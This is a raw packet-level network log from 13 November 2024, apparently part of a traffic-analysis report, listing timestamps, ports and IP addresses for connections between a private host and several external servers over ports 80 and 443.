Nov 13, 2024 14:41:33.651415110 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.651429892 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.651523113 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.651523113 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.651536942 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.651700020 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.659368992 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.659394026 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.659434080 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.659451008 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.659507036 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.659780979 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.659846067 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.667395115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667454004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667469025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667485952 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667519093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667527914 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667534113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667548895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667561054 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667565107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667581081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667598009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667630911 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667773008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667788982 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667804003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667815924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667819023 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667831898 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667843103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667855024 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667864084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667870045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667882919 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667895079 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667908907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667921066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667924881 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667942047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667946100 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667960882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667978048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.667979002 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667994976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.667999029 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668010950 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668021917 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668032885 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668036938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668051004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668054104 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668072939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668087006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668090105 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668101072 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668113947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668123960 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668127060 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668140888 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668142080 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668159008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668173075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668184996 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668200016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668240070 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668247938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668261051 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668272018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668283939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668303013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668312073 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668323994 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668329000 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668364048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668370962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668385029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668395996 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668411970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668423891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668426991 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668445110 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668446064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668456078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.668479919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.668515921 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.710647106 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710676908 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710685015 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710699081 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710705996 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710711956 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710747957 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.710768938 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710803986 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710803986 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.710814953 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710829973 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.710838079 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710854053 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.710875034 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.710896015 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.710999966 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.712714911 CET	49899	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.712729931 CET	443	49899	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.720079899 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.720397949 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.720431089 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.720791101 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.722270966 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.722341061 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.722706079 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.745038986 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:33.750135899 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:33.763325930 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.773210049 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.773242950 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.773338079 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.773350000 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.773480892 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.773531914 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.773545980 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.773557901 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.773669958 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.774405956 CET	49898	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:33.774424076 CET	443	49898	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:33.804505110 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.804536104 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.804600954 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.804632902 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.804678917 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.881357908 CET	49893	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.881376028 CET	443	49893	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.893332958 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.893459082 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.893616915 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.908931017 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.909178019 CET	49906	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.909197092 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.909631014 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.909934998 CET	49906	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.910038948 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.910074949 CET	49906	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:33.916764021 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:33.916817904 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:33.916887045 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:33.917114973 CET	49917	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:33.917131901 CET	443	49917	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:33.921257019 CET	49905	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:33.921277046 CET	443	49905	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:33.955334902 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:33.957216024 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:33.957263947 CET	443	49918	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:33.957356930 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:33.959100008 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:33.959140062 CET	443	49919	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:33.959296942 CET	49918	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:33.959319115 CET	443	49918	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:33.959328890 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:33.959779978 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:33.959822893 CET	443	49920	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:33.959908962 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:33.961505890 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:33.961539984 CET	443	49921	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:33.961610079 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:33.962018013 CET	49919	443	192.168.2.7	23.198.7.166
Nov 13, 2024 14:41:33.962034941 CET	443	49919	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:33.963155031 CET	49920	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:33.963182926 CET	443	49920	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:33.964288950 CET	49921	443	192.168.2.7	204.79.197.219
Nov 13, 2024 14:41:33.964306116 CET	443	49921	204.79.197.219	192.168.2.7
Nov 13, 2024 14:41:33.977417946 CET	443	49908	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.979067087 CET	49908	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.979089975 CET	443	49908	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:33.980017900 CET	49908	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:33.980026007 CET	443	49908	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.016757011 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.028651953 CET	443	49909	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.030215025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030294895 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030308962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030325890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030338049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030352116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030371904 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030376911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030389071 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030401945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030415058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030426979 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030438900 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030441999 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030452967 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030471087 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030719995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030745029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030746937 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030759096 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030770063 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030807018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030819893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030821085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030833960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030848026 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030858040 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030879974 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030911922 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030925989 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030941010 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030952930 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030966043 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030966997 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030978918 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.030991077 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.030992031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031006098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031018972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031033993 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031042099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031054974 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031061888 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031069040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031075001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031116009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031183958 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031213045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031224966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031229973 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031239033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031250954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031263113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031275034 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031275988 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031287909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031307936 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031310081 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031327963 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031351089 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031352043 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031367064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031382084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031382084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031407118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031418085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031423092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031434059 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031445980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031459093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031462908 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031471968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031486034 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031486988 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031500101 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031512976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031522989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031552076 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031557083 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031569004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031579971 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031593084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031605005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031606913 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031616926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031630039 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031631947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031644106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031657934 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031660080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031677008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031686068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031696081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031707048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031707048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031721115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031733990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031749010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031775951 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031785965 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031794071 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031804085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031816006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031827927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031835079 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031840086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031857014 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031876087 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031883001 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031891108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031903028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031929970 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031949997 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.031958103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031971931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031984091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.031995058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032002926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032010078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032021999 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032035112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032038927 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032066107 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032075882 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032078981 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032092094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032094002 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032104969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032116890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032128096 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032131910 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032139063 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032159090 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032169104 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032171965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032185078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032188892 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032211065 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032222986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032226086 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032236099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032248020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032259941 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032273054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032282114 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032285929 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032299042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032315016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032316923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032332897 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032362938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032375097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032387972 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032399893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032407045 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032413006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032426119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032438040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.032439947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.032453060 CET	80	49832	185.215.113.206	192.168.2.7
